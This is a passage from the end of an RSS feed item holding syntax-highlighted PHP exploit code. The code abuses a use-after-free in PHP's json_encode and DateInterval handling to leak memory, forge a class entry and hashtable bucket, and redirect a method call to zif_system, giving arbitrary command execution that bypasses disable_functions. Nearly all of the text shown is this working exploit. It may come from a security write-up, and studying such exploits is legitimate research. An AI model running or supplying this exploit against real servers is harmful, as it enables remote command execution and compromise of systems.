        <span class="token variable">$x</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DateInterval</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'PT1S'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$x</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">d</span> <span class="token operator">=</span> <span class="token number">0x2000</span><span class="token punctuation">;</span>
        <span class="token variable">$x</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">h</span> <span class="token operator">=</span> <span class="token number">0xdeadbeef</span><span class="token punctuation">;</span>
        <span class="token shell-comment comment"># $this-&gt;abc is now of size 0x2000</span>

        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0xdeadbeef</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'UAF failed.'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token variable">$spl1</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MySplFixedArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$spl2</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MySplFixedArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># some leaks</span>
        <span class="token variable">$class_entry</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x120</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$handlers</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x128</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$php_heap</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x1a8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$abc_addr</span> <span class="token operator">=</span> <span class="token variable">$php_heap</span> <span class="token operator">-</span> <span class="token number">0x218</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># create a fake class_entry</span>
        <span class="token variable">$fake_obj</span> <span class="token operator">=</span> <span class="token variable">$abc_addr</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># type</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x120</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># fake class_entry</span>

        <span class="token shell-comment comment"># copy some of class_entry definition</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">16</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x10</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> 
                <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak1</span><span class="token punctuation">(</span><span class="token variable">$class_entry</span> <span class="token operator">+</span> <span class="token number">0x10</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># fake static members table</span>
        <span class="token variable">$fake_tbl_off</span> <span class="token operator">=</span> <span class="token number">0x70</span> <span class="token operator">*</span> <span class="token number">4</span> <span class="token operator">-</span> <span class="token number">16</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x30</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x38</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># fake zval_reference</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># zval</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># zval type (reference)</span>

        <span class="token shell-comment comment"># look for binary base</span>
        <span class="token variable">$binary_leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$handlers</span> <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$base</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get_binary_base</span><span class="token punctuation">(</span><span class="token variable">$binary_leak</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't determine binary base address"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># parse elf header</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$elf</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">parse_elf</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't parse ELF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># get basic_functions address</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$basic_funcs</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get_basic_funcs</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token variable">$elf</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't get basic_functions address"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># find system entry</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$zif_system</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get_system</span><span class="token punctuation">(</span><span class="token variable">$basic_funcs</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't get zif_system address"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        
        <span class="token shell-comment comment"># copy hashtable offsetGet bucket</span>
        <span class="token variable">$fake_bkt_off</span> <span class="token operator">=</span> <span class="token number">0x70</span> <span class="token operator">*</span> <span class="token number">5</span> <span class="token operator">-</span> <span class="token number">16</span><span class="token punctuation">;</span>

        <span class="token variable">$function_data</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">4</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> 
                <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$function_data</span> <span class="token operator">+</span> <span class="token number">0x40</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># create a fake bucket</span>
        <span class="token variable">$fake_bkt_addr</span> <span class="token operator">=</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_bkt_off</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_addr</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x58</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># copy bucket zval</span>
        <span class="token variable">$function_zval</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">12</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span>  <span class="token variable">$fake_bkt_off</span> <span class="token operator">+</span> <span class="token number">0x70</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> 
                <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$function_zval</span><span class="token punctuation">,</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># pwn</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span> <span class="token operator">+</span> <span class="token number">0x70</span> <span class="token operator">+</span> <span class="token number">0x30</span><span class="token punctuation">,</span> <span class="token variable">$zif_system</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_addr</span> <span class="token operator">+</span> <span class="token number">0x70</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$spl1</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">offsetGet</span><span class="token punctuation">(</span><span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
<span class="token punctuation">}</span>

<span class="token variable">$y</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">Z</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token function">json_encode</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">&amp;</span><span class="token variable">$y</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            </span></code></pre>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
